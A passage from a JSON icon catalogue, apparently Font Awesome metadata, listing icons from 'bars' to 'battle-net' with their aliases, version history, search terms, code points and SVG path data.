      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "drag",
        "hamburger",
        "list",
        "menu",
        "nav",
        "navigation",
        "ol",
        "reorder",
        "settings",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0c9",
    "label": "Bars",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 78.3 14.3 64 32 64H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 128 0 113.7 0 96zM0 256c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM448 416c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 78.3 14.3 64 32 64H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 128 0 113.7 0 96zM0 256c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM448 416c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "bars-progress": {
    "aliases": {
      "names": ["tasks-alt"],
      "unicodes": {
        "secondary": ["10f828"]
      }
    },
    "changes": [
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "downloading",
        "downloads",
        "loading",
        "poll",
        "progress",
        "project management",
        "settings",
        "to do"
      ]
    },
    "styles": ["solid"],
    "unicode": "f828",
    "label": "Bars Progress",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 160H320V128H448v32zM48 64C21.5 64 0 85.5 0 112v64c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48H48zM448 352v32H192V352H448zM48 288c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V336c0-26.5-21.5-48-48-48H48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 160H320V128H448v32zM48 64C21.5 64 0 85.5 0 112v64c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48H48zM448 352v32H192V352H448zM48 288c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V336c0-26.5-21.5-48-48-48H48z"
      }
    },
    "free": ["solid"]
  },
  "bars-staggered": {
    "aliases": {
      "names": ["reorder", "stream"],
      "unicodes": {
        "secondary": ["10f550"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["flow", "list", "timeline"]
    },
    "styles": ["solid"],
    "unicode": "f550",
    "label": "Bars Staggered",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 78.3 14.3 64 32 64H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 128 0 113.7 0 96zM64 256c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H96c-17.7 0-32-14.3-32-32zM448 416c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 78.3 14.3 64 32 64H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 128 0 113.7 0 96zM64 256c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H96c-17.7 0-32-14.3-32-32zM448 416c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "baseball": {
    "aliases": {
      "names": ["baseball-ball"],
      "unicodes": {
        "composite": ["1f94e", "26be"],
        "secondary": ["10f433"]
      }
    },
    "changes": [
      "5.0.5",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "ball",
        "baseball",
        "foul",
        "glove",
        "hardball",
        "league",
        "leather",
        "mlb",
        "softball",
        "sport",
        "underarm"
      ]
    },
    "styles": ["solid"],
    "unicode": "f433",
    "label": "Baseball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M62.7 223.4c-4.8 .4-9.7 .6-14.7 .6c-15.6 0-30.8-2-45.2-5.9C19.2 107.1 107.1 19.2 218.1 2.8C222 17.2 224 32.4 224 48c0 4.9-.2 9.8-.6 14.7c-.7 8.8 5.8 16.5 14.6 17.3s16.5-5.8 17.3-14.6c.5-5.7 .7-11.5 .7-17.3c0-16.5-1.9-32.6-5.6-47.9c1.8 0 3.7-.1 5.6-.1C397.4 0 512 114.6 512 256c0 1.9 0 3.7-.1 5.6c-15.4-3.6-31.4-5.6-47.9-5.6c-5.8 0-11.6 .2-17.3 .7c-8.8 .7-15.4 8.5-14.6 17.3s8.5 15.4 17.3 14.6c4.8-.4 9.7-.6 14.7-.6c15.6 0 30.8 2 45.2 5.9C492.8 404.9 404.9 492.8 293.9 509.2C290 494.8 288 479.6 288 464c0-4.9 .2-9.8 .6-14.7c.7-8.8-5.8-16.5-14.6-17.3s-16.5 5.8-17.3 14.6c-.5 5.7-.7 11.5-.7 17.3c0 16.5 1.9 32.6 5.6 47.9c-1.8 0-3.7 .1-5.6 .1C114.6 512 0 397.4 0 256c0-1.9 0-3.7 .1-5.6C15.4 254.1 31.5 256 48 256c5.8 0 11.6-.2 17.3-.7c8.8-.7 15.4-8.5 14.6-17.3s-8.5-15.4-17.3-14.6zM121.3 208c-8 3.7-11.6 13.2-7.9 21.2s13.2 11.6 21.2 7.9c45.2-20.8 81.7-57.2 102.5-102.5c3.7-8 .2-17.5-7.9-21.2s-17.5-.2-21.2 7.9c-17.6 38.3-48.5 69.2-86.7 86.7zm277.2 74.7c-3.7-8-13.2-11.6-21.2-7.9c-45.2 20.8-81.7 57.2-102.5 102.5c-3.7 8-.2 17.5 7.9 21.2s17.5 .2 21.2-7.9c17.6-38.3 48.5-69.2 86.7-86.7c8-3.7 11.6-13.2 7.9-21.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M62.7 223.4c-4.8 .4-9.7 .6-14.7 .6c-15.6 0-30.8-2-45.2-5.9C19.2 107.1 107.1 19.2 218.1 2.8C222 17.2 224 32.4 224 48c0 4.9-.2 9.8-.6 14.7c-.7 8.8 5.8 16.5 14.6 17.3s16.5-5.8 17.3-14.6c.5-5.7 .7-11.5 .7-17.3c0-16.5-1.9-32.6-5.6-47.9c1.8 0 3.7-.1 5.6-.1C397.4 0 512 114.6 512 256c0 1.9 0 3.7-.1 5.6c-15.4-3.6-31.4-5.6-47.9-5.6c-5.8 0-11.6 .2-17.3 .7c-8.8 .7-15.4 8.5-14.6 17.3s8.5 15.4 17.3 14.6c4.8-.4 9.7-.6 14.7-.6c15.6 0 30.8 2 45.2 5.9C492.8 404.9 404.9 492.8 293.9 509.2C290 494.8 288 479.6 288 464c0-4.9 .2-9.8 .6-14.7c.7-8.8-5.8-16.5-14.6-17.3s-16.5 5.8-17.3 14.6c-.5 5.7-.7 11.5-.7 17.3c0 16.5 1.9 32.6 5.6 47.9c-1.8 0-3.7 .1-5.6 .1C114.6 512 0 397.4 0 256c0-1.9 0-3.7 .1-5.6C15.4 254.1 31.5 256 48 256c5.8 0 11.6-.2 17.3-.7c8.8-.7 15.4-8.5 14.6-17.3s-8.5-15.4-17.3-14.6zM121.3 208c-8 3.7-11.6 13.2-7.9 21.2s13.2 11.6 21.2 7.9c45.2-20.8 81.7-57.2 102.5-102.5c3.7-8 .2-17.5-7.9-21.2s-17.5-.2-21.2 7.9c-17.6 38.3-48.5 69.2-86.7 86.7zm277.2 74.7c-3.7-8-13.2-11.6-21.2-7.9c-45.2 20.8-81.7 57.2-102.5 102.5c-3.7 8-.2 17.5 7.9 21.2s17.5 .2 21.2-7.9c17.6-38.3 48.5-69.2 86.7-86.7c8-3.7 11.6-13.2 7.9-21.2z"
      }
    },
    "free": ["solid"]
  },
  "baseball-bat-ball": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f432"]
      }
    },
    "changes": ["5.0.5", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bat", "league", "mlb", "slugger", "softball", "sport"]
    },
    "styles": ["solid"],
    "unicode": "f432",
    "label": "Baseball Bat Ball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M424 0c-12.4 0-24.2 4.9-33 13.7L233.5 171.2c-10.5 10.5-19.8 22.1-27.7 34.6L132.7 321.6c-7.3 11.5-15.8 22.2-25.5 31.9L69.9 390.7l51.3 51.3 37.3-37.3c9.6-9.6 20.3-18.2 31.9-25.5l115.8-73.1c12.5-7.9 24.1-17.2 34.6-27.7L498.3 121c8.7-8.7 13.7-20.6 13.7-33s-4.9-24.2-13.7-33L457 13.7C448.2 4.9 436.4 0 424 0zm88 432a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM15 399c-9.4 9.4-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L49 399c-9.4-9.4-24.6-9.4-33.9 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M424 0c-12.4 0-24.2 4.9-33 13.7L233.5 171.2c-10.5 10.5-19.8 22.1-27.7 34.6L132.7 321.6c-7.3 11.5-15.8 22.2-25.5 31.9L69.9 390.7l51.3 51.3 37.3-37.3c9.6-9.6 20.3-18.2 31.9-25.5l115.8-73.1c12.5-7.9 24.1-17.2 34.6-27.7L498.3 121c8.7-8.7 13.7-20.6 13.7-33s-4.9-24.2-13.7-33L457 13.7C448.2 4.9 436.4 0 424 0zm88 432a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM15 399c-9.4 9.4-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L49 399c-9.4-9.4-24.6-9.4-33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "basket-shopping": {
    "aliases": {
      "names": ["shopping-basket"],
      "unicodes": {
        "secondary": ["10f291"]
      }
    },
    "changes": [
      "4.5.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["buy", "checkout", "grocery", "payment", "purchase"]
    },
    "styles": ["solid"],
    "unicode": "f291",
    "label": "Basket Shopping",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M253.3 35.1c6.1-11.8 1.5-26.3-10.2-32.4s-26.3-1.5-32.4 10.2L117.6 192H32c-17.7 0-32 14.3-32 32s14.3 32 32 32L83.9 463.5C91 492 116.6 512 146 512H430c29.4 0 55-20 62.1-48.5L544 256c17.7 0 32-14.3 32-32s-14.3-32-32-32H458.4L365.3 12.9C359.2 1.2 344.7-3.4 332.9 2.7s-16.3 20.6-10.2 32.4L404.3 192H171.7L253.3 35.1zM192 304v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V304c0-8.8 7.2-16 16-16s16 7.2 16 16zm96-16c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V304c0-8.8 7.2-16 16-16zm128 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V304c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M253.3 35.1c6.1-11.8 1.5-26.3-10.2-32.4s-26.3-1.5-32.4 10.2L117.6 192H32c-17.7 0-32 14.3-32 32s14.3 32 32 32L83.9 463.5C91 492 116.6 512 146 512H430c29.4 0 55-20 62.1-48.5L544 256c17.7 0 32-14.3 32-32s-14.3-32-32-32H458.4L365.3 12.9C359.2 1.2 344.7-3.4 332.9 2.7s-16.3 20.6-10.2 32.4L404.3 192H171.7L253.3 35.1zM192 304v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V304c0-8.8 7.2-16 16-16s16 7.2 16 16zm96-16c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V304c0-8.8 7.2-16 16-16zm128 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V304c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "basketball": {
    "aliases": {
      "names": ["basketball-ball"],
      "unicodes": {
        "composite": ["1f3c0"],
        "secondary": ["10f434"]
      }
    },
    "changes": [
      "5.0.5",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["ball", "basketball", "dribble", "dunk", "hoop", "nba"]
    },
    "styles": ["solid"],
    "unicode": "f434",
    "label": "Basketball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M86.6 64l85.2 85.2C194.5 121.7 208 86.4 208 48c0-14.7-2-28.9-5.7-42.4C158.6 15 119 35.5 86.6 64zM64 86.6C35.5 119 15 158.6 5.6 202.3C19.1 206 33.3 208 48 208c38.4 0 73.7-13.5 101.3-36.1L64 86.6zM256 0c-7.3 0-14.6 .3-21.8 .9C238 16 240 31.8 240 48c0 47.3-17.1 90.5-45.4 124L256 233.4 425.4 64C380.2 24.2 320.9 0 256 0zM48 240c-16.2 0-32-2-47.1-5.8C.3 241.4 0 248.7 0 256c0 64.9 24.2 124.2 64 169.4L233.4 256 172 194.6C138.5 222.9 95.3 240 48 240zm463.1 37.8c.6-7.2 .9-14.5 .9-21.8c0-64.9-24.2-124.2-64-169.4L278.6 256 340 317.4c33.4-28.3 76.7-45.4 124-45.4c16.2 0 32 2 47.1 5.8zm-4.7 31.9C492.9 306 478.7 304 464 304c-38.4 0-73.7 13.5-101.3 36.1L448 425.4c28.5-32.3 49.1-71.9 58.4-115.7zM340.1 362.7C317.5 390.3 304 425.6 304 464c0 14.7 2 28.9 5.7 42.4C353.4 497 393 476.5 425.4 448l-85.2-85.2zM317.4 340L256 278.6 86.6 448c45.1 39.8 104.4 64 169.4 64c7.3 0 14.6-.3 21.8-.9C274 496 272 480.2 272 464c0-47.3 17.1-90.5 45.4-124z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M86.6 64l85.2 85.2C194.5 121.7 208 86.4 208 48c0-14.7-2-28.9-5.7-42.4C158.6 15 119 35.5 86.6 64zM64 86.6C35.5 119 15 158.6 5.6 202.3C19.1 206 33.3 208 48 208c38.4 0 73.7-13.5 101.3-36.1L64 86.6zM256 0c-7.3 0-14.6 .3-21.8 .9C238 16 240 31.8 240 48c0 47.3-17.1 90.5-45.4 124L256 233.4 425.4 64C380.2 24.2 320.9 0 256 0zM48 240c-16.2 0-32-2-47.1-5.8C.3 241.4 0 248.7 0 256c0 64.9 24.2 124.2 64 169.4L233.4 256 172 194.6C138.5 222.9 95.3 240 48 240zm463.1 37.8c.6-7.2 .9-14.5 .9-21.8c0-64.9-24.2-124.2-64-169.4L278.6 256 340 317.4c33.4-28.3 76.7-45.4 124-45.4c16.2 0 32 2 47.1 5.8zm-4.7 31.9C492.9 306 478.7 304 464 304c-38.4 0-73.7 13.5-101.3 36.1L448 425.4c28.5-32.3 49.1-71.9 58.4-115.7zM340.1 362.7C317.5 390.3 304 425.6 304 464c0 14.7 2 28.9 5.7 42.4C353.4 497 393 476.5 425.4 448l-85.2-85.2zM317.4 340L256 278.6 86.6 448c45.1 39.8 104.4 64 169.4 64c7.3 0 14.6-.3 21.8-.9C274 496 272 480.2 272 464c0-47.3 17.1-90.5 45.4-124z"
      }
    },
    "free": ["solid"]
  },
  "bath": {
    "aliases": {
      "names": ["bathtub"],
      "unicodes": {
        "composite": ["1f6c1"],
        "secondary": ["10f2cd"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bath", "bathtub", "clean", "shower", "tub", "wash"]
    },
    "styles": ["solid"],
    "unicode": "f2cd",
    "label": "Bath",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 77.3c0-7.3 5.9-13.3 13.3-13.3c3.5 0 6.9 1.4 9.4 3.9l14.9 14.9C130 91.8 128 101.7 128 112c0 19.9 7.2 38 19.2 52c-5.3 9.2-4 21.1 3.8 29c9.4 9.4 24.6 9.4 33.9 0L289 89c9.4-9.4 9.4-24.6 0-33.9c-7.9-7.9-19.8-9.1-29-3.8C246 39.2 227.9 32 208 32c-10.3 0-20.2 2-29.2 5.5L163.9 22.6C149.4 8.1 129.7 0 109.3 0C66.6 0 32 34.6 32 77.3V256c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H96V77.3zM32 352v16c0 28.4 12.4 54 32 71.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V464H384v16c0 17.7 14.3 32 32 32s32-14.3 32-32V439.6c19.6-17.6 32-43.1 32-71.6V352H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 77.3c0-7.3 5.9-13.3 13.3-13.3c3.5 0 6.9 1.4 9.4 3.9l14.9 14.9C130 91.8 128 101.7 128 112c0 19.9 7.2 38 19.2 52c-5.3 9.2-4 21.1 3.8 29c9.4 9.4 24.6 9.4 33.9 0L289 89c9.4-9.4 9.4-24.6 0-33.9c-7.9-7.9-19.8-9.1-29-3.8C246 39.2 227.9 32 208 32c-10.3 0-20.2 2-29.2 5.5L163.9 22.6C149.4 8.1 129.7 0 109.3 0C66.6 0 32 34.6 32 77.3V256c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H96V77.3zM32 352v16c0 28.4 12.4 54 32 71.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V464H384v16c0 17.7 14.3 32 32 32s32-14.3 32-32V439.6c19.6-17.6 32-43.1 32-71.6V352H32z"
      }
    },
    "free": ["solid"]
  },
  "battery-empty": {
    "aliases": {
      "names": ["battery-0"],
      "unicodes": {
        "secondary": ["10f244"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["charge", "dead", "power", "status"]
    },
    "styles": ["solid"],
    "unicode": "f244",
    "label": "Battery Empty",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M80 160c-8.8 0-16 7.2-16 16V336c0 8.8 7.2 16 16 16H464c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H80zM0 176c0-44.2 35.8-80 80-80H464c44.2 0 80 35.8 80 80v16c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32v16c0 44.2-35.8 80-80 80H80c-44.2 0-80-35.8-80-80V176z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M80 160c-8.8 0-16 7.2-16 16V336c0 8.8 7.2 16 16 16H464c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H80zM0 176c0-44.2 35.8-80 80-80H464c44.2 0 80 35.8 80 80v16c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32v16c0 44.2-35.8 80-80 80H80c-44.2 0-80-35.8-80-80V176z"
      }
    },
    "free": ["solid"]
  },
  "battery-full": {
    "aliases": {
      "names": ["battery", "battery-5"],
      "unicodes": {
        "composite": ["1f50b"],
        "secondary": ["10f240"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["batter", "battery", "charge", "power", "status"]
    },
    "styles": ["solid"],
    "unicode": "f240",
    "label": "Battery Full",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm368 96H96V320H448V192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm368 96H96V320H448V192z"
      }
    },
    "free": ["solid"]
  },
  "battery-half": {
    "aliases": {
      "names": ["battery-3"],
      "unicodes": {
        "secondary": ["10f242"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["charge", "power", "status"]
    },
    "styles": ["solid"],
    "unicode": "f242",
    "label": "Battery Half",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm208 96H96V320H288V192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm208 96H96V320H288V192z"
      }
    },
    "free": ["solid"]
  },
  "battery-quarter": {
    "aliases": {
      "names": ["battery-2"],
      "unicodes": {
        "secondary": ["10f243"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["charge", "low", "power", "status"]
    },
    "styles": ["solid"],
    "unicode": "f243",
    "label": "Battery Quarter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm112 96H96V320h96V192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm112 96H96V320h96V192z"
      }
    },
    "free": ["solid"]
  },
  "battery-three-quarters": {
    "aliases": {
      "names": ["battery-4"],
      "unicodes": {
        "secondary": ["10f241"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["charge", "power", "status"]
    },
    "styles": ["solid"],
    "unicode": "f241",
    "label": "Battery Three Quarters",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm272 96H96V320H352V192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M464 160c8.8 0 16 7.2 16 16V336c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16H464zM80 96C35.8 96 0 131.8 0 176V336c0 44.2 35.8 80 80 80H464c44.2 0 80-35.8 80-80V320c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32V176c0-44.2-35.8-80-80-80H80zm272 96H96V320H352V192z"
      }
    },
    "free": ["solid"]
  },
  "battle-net": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f835",
    "label": "Battle.net",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448.61 225.62c26.87.18 35.57-7.43 38.92-12.37 12.47-16.32-7.06-47.6-52.85-71.33 17.76-33.58 30.11-63.68 36.34-85.3 3.38-11.83 1.09-19 .45-20.25-1.72 10.52-15.85 48.46-48.2 100.05-25-11.22-56.52-20.1-93.77-23.8-8.94-16.94-34.88-63.86-60.48-88.93C252.18 7.14 238.7 1.07 228.18.22h-.05c-13.83-1.55-22.67 5.85-27.4 11-17.2 18.53-24.33 48.87-25 84.07-7.24-12.35-17.17-24.63-28.5-25.93h-.18c-20.66-3.48-38.39 29.22-36 81.29-38.36 1.38-71 5.75-93 11.23-9.9 2.45-16.22 7.27-17.76 9.72 1-.38 22.4-9.22 111.56-9.22 5.22 53 29.75 101.82 26 93.19-9.73 15.4-38.24 62.36-47.31 97.7-5.87 22.88-4.37 37.61.15 47.14 5.57 12.75 16.41 16.72 23.2 18.26 25 5.71 55.38-3.63 86.7-21.14-7.53 12.84-13.9 28.51-9.06 39.34 7.31 19.65 44.49 18.66 88.44-9.45 20.18 32.18 40.07 57.94 55.7 74.12a39.79 39.79 0 0 0 8.75 7.09c5.14 3.21 8.58 3.37 8.58 3.37-8.24-6.75-34-38-62.54-91.78 22.22-16 45.65-38.87 67.47-69.27 122.82 4.6 143.29-24.76 148-31.64 14.67-19.88 3.43-57.44-57.32-93.69zm-77.85 106.22c23.81-37.71 30.34-67.77 29.45-92.33 27.86 17.57 47.18 37.58 49.06 58.83 1.14 12.93-8.1 29.12-78.51 33.5zM216.9 387.69c9.76-6.23 19.53-13.12 29.2-20.49 6.68 13.33 13.6 26.1 20.6 38.19-40.6 21.86-68.84 12.76-49.8-17.7zm215-171.35c-10.29-5.34-21.16-10.34-32.38-15.05a722.459 722.459 0 0 0 